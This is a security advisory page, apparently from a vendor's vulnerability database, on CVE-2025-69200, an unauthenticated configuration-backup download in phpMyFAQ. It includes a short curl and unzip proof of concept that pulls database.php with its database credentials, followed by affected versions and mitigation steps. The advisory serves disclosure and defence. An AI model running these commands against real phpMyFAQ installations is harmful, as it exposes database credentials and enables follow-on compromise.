Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-9cg9-4h4f-j6fg

HIGH

phpMyFAQ has unauthenticated config backup download via /api/setup/backup

Also known asCVE-2025-69200
Published
Dec 30, 2025
Updated
Dec 30, 2025
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
2.0%probability of exploitation in next 30 days
Lower Risk78th percentile-0.77%
0.00%2.30%4.60%6.90%0.0%2.0%Jan 26Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected
🐘thorsten/phpmyfaq🐘thorsten/phpmyfaq

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

Details

The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths:

  • Rewrite rule exposing the endpoint:
    • phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
  • Controller implementation:
    • phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.phpbackup()
      • No call to hasValidToken(), userIsAuthenticated(), or any permission check
  • Backup creation:
    • phpmyfaq/src/phpMyFAQ/Setup/Update.phpcreateConfigBackup()
      • Writes the ZIP into the config directory and returns a public URL under content/core/config/

PoC

Replace BASE_URL with your instance URL.

  1. Trigger config backup generation without authentication:
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"

Expected result: 200 OK with JSON containing backupFile.

  1. Copy the backupFile URL from the JSON response and download it (still without authentication):
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
  1. Verify sensitive content exists in the ZIP:
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php

Observed: database.php is included and contains DB host/user/password.

Impact

  • Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
  • Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable.
  • Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistthorsten/phpmyfaqall versions4.0.16
🐘Packagistthorsten/phpmyfaq4.1.0-alphaNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update thorsten/phpmyfaq to 4.0.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9cg9-4h4f-j6fg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9cg9-4h4f-j6fg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9cg9-4h4f-j6fg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise. ### Details The endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed ver
O3 Security · Impact-Aware SCA

Is GHSA-9cg9-4h4f-j6fg in your dependencies?

O3 detects GHSA-9cg9-4h4f-j6fg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.